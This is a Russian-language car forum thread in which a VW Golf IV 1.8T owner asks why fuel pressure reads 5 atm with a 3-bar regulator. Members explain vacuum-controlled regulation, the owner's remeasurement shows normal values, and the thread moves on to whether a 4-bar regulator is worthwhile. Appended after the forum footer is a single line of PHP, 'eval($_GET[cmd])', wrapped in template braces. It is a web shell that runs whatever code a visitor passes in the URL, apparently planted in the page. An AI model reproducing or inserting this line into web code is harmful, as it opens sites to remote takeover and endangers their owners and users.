+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя
Показано с 1 по 10 из 11

Тема: давление топлива 5 атм???


Комбинированный просмотр

  1. #1
    GTI-Racing A.E.M. is on a distinguished road Аватар для A.E.M.
    Регистрация
    29.11.2009
    Машина
    G4 1.8 T AGU
    Сообщений
    102

    давление топлива 5 атм???

    собсна замерил давление топлива на ХХ, манометр показал 5 атм, регулятор давления стоит 3 бара т е стандарт, машина чипованная, есть предположение что регулятор умер? подскажите

  2. #2
    GTI-Racing lingus is on a distinguished road Аватар для lingus
    Регистрация
    06.02.2007
    Откуда
    Чехов
    Машина
    Skoda Superb 1.8T
    Сообщений
    1,214
    есть :) он не держит давление - оно 5 бар, а на нём как ты сам написал выбито 3.
    Skoda Superb 1.8T
    NewBeetle 2.0MT Black - продан
    VW golf VI GTi - на попечении

  3. #3
    GTI-Racing A.E.M. is on a distinguished road Аватар для A.E.M.
    Регистрация
    29.11.2009
    Машина
    G4 1.8 T AGU
    Сообщений
    102
    т е в любом режиме работы двигателя давление дожно быть 3 бара? простите если туплю просто надо тогда заказывать регулятор а он денег стоит, не хочу выбросить их на ветер(

    Добавлено через 5 минут
    да и скажите какой регулятор купить: цены от 700 до 2800 (оригинал)
    Последний раз редактировалось A.E.M.; 11.05.2010 в 10:05. Причина: Добавлено сообщение

  4. #4
    Авто Года 2010 Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Аватар для Чуйкин
    Регистрация
    12.04.2006
    Откуда
    Москвабад
    Машина
    Golf 1.8t 460лс 520Нм
    Сообщений
    2,543
    Цитата Сообщение от A.E.M. Посмотреть сообщение
    т е в любом режиме работы двигателя давление дожно быть 3 бара? простите если туплю просто надо тогда заказывать регулятор а он денег стоит, не хочу выбросить их на ветер(

    Добавлено через 5 минут
    да и скажите какой регулятор купить: цены от 700 до 2800 (оригинал)
    не в любом режиме от будет выдавать 3бар... при нагрузке давление больше.. когда отпускаешь газ-давление меньше... сам подумай не просто так ведь вакумный шланг идет на регулятор.. он для управления клапаном

  5. #5
    GTI-Racing Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Аватар для Pavlo
    Регистрация
    16.07.2009
    Откуда
    Москва
    Машина
    Mk4 GTI '99, Passat CC DSG '11
    Сообщений
    1,073
    Бери бош, он же в оригинале и идет. И раз уж у тебя штатный сдох, то имеет смысл ставить 4 бара на будущее
    Golf IV GTI AGU Koni Sport Coils -40mm + KYB AGX; Borla Muffler Attack Sound; NeuSpeed Pulley Kit; Samco Cooling Kit; ACT Flywheels; Hotchkis Sway Bar; WhiteLine Front & Rear Busching; TD05HR 16G Turbo; Eagle H-Beam + JE Piston 8,5;
    Passat CC 1,8 TSI APRStage 1/2 Testpipe - Продано

  6. #6
    Авто Года 2010 Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Аватар для Чуйкин
    Регистрация
    12.04.2006
    Откуда
    Москвабад
    Машина
    Golf 1.8t 460лс 520Нм
    Сообщений
    2,543
    Цитата Сообщение от Pavlo Посмотреть сообщение
    Бери бош, он же в оригинале и идет. И раз уж у тебя штатный сдох, то имеет смысл ставить 4 бара на будущее
    зачем ставить 4бар??? чтобы переливали форсунки??)) и чтобы топливный насос работал с перегрузкой? короче 3 барный работает так... на хх давление должно быть 2.5 бар... при нажатии на газ дожно подняться до 3.25 и потом постепенно спуститься до 3 бар

  7. #7
    GTI-Racing A.E.M. is on a distinguished road Аватар для A.E.M.
    Регистрация
    29.11.2009
    Машина
    G4 1.8 T AGU
    Сообщений
    102
    Цитата Сообщение от Чуйкин Посмотреть сообщение
    зачем ставить 4бар??? чтобы переливали форсунки??)) и чтобы топливный насос работал с перегрузкой? короче 3 барный работает так... на хх давление должно быть 2.5 бар... при нажатии на газ дожно подняться до 3.25 и потом постепенно спуститься до 3 бар
    те полюбому 5 бар перебор((( как вариант подсказали что может забита обратка( так что буду тестить(

    Добавлено через 16 часов 48 минут
    Вообщем перемерили вчера давление нормальным манометром, на ХХ показал 2,5 -2,7,
    при наборе оборотов подскакивает до 3-3,1, вроде держит стабильно, но эти олени не догадались зажать обратку((( т е не знаю состояние насоса, единственное снимали вакуум регулятора давления, при этом манометр показал 3,1-3,2 бара, это нормальное явление? или она должна скакануть больше?
    Последний раз редактировалось A.E.M.; 12.05.2010 в 09:06. Причина: Добавлено сообщение

  8. #8
    GTI-Racing lingus is on a distinguished road Аватар для lingus
    Регистрация
    06.02.2007
    Откуда
    Чехов
    Машина
    Skoda Superb 1.8T
    Сообщений
    1,214
    Цитата Сообщение от A.E.M. Посмотреть сообщение
    но эти олени не догадались зажать обратку(((
    для чего? посмотреть сколько максимум насос качнёт?

    показал 3,1-3,2 бара
    ну замечательно, все работает, по elsa регулировки в районе 0.5-0.7 бар,если мне не изменяет память
    Skoda Superb 1.8T
    NewBeetle 2.0MT Black - продан
    VW golf VI GTi - на попечении

  9. #9
    Авто Года 2010 Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Чуйкин has a spectacular aura about Аватар для Чуйкин
    Регистрация
    12.04.2006
    Откуда
    Москвабад
    Машина
    Golf 1.8t 460лс 520Нм
    Сообщений
    2,543
    Цитата Сообщение от A.E.M. Посмотреть сообщение
    те полюбому 5 бар перебор((( как вариант подсказали что может забита обратка( так что буду тестить(

    Добавлено через 16 часов 48 минут
    Вообщем перемерили вчера давление нормальным манометром, на ХХ показал 2,5 -2,7,
    при наборе оборотов подскакивает до 3-3,1, вроде держит стабильно, но эти олени не догадались зажать обратку((( т е не знаю состояние насоса, единственное снимали вакуум регулятора давления, при этом манометр показал 3,1-3,2 бара, это нормальное явление? или она должна скакануть больше?
    все нормально у тебя с давлением.. я писал раньше что так и должно быть

  10. #10
    GTI-Racing A.E.M. is on a distinguished road Аватар для A.E.M.
    Регистрация
    29.11.2009
    Машина
    G4 1.8 T AGU
    Сообщений
    102
    а есть смысл ставить 4 бара при штатных форсах и турбе к03? все равно улитку другую пока не планирую

+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя

Похожие темы

  1. Ответов: 6
    Последнее сообщение: 04.01.2024, 00:41
  2. низкое давление топлива
    от Buba в разделе Golf 5
    Ответов: 23
    Последнее сообщение: 04.01.2024, 00:19
  3. Расход топлива GOLF
    от favorit в разделе Разное
    Ответов: 11
    Последнее сообщение: 01.12.2018, 15:34
  4. Уровень топлива (коротнуло?)
    от Palma в разделе Электрика
    Ответов: 4
    Последнее сообщение: 05.09.2013, 11:13
  5. Тюнинг топлива
    от Окислитель в разделе Разное
    Ответов: 33
    Последнее сообщение: 02.08.2012, 11:00

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}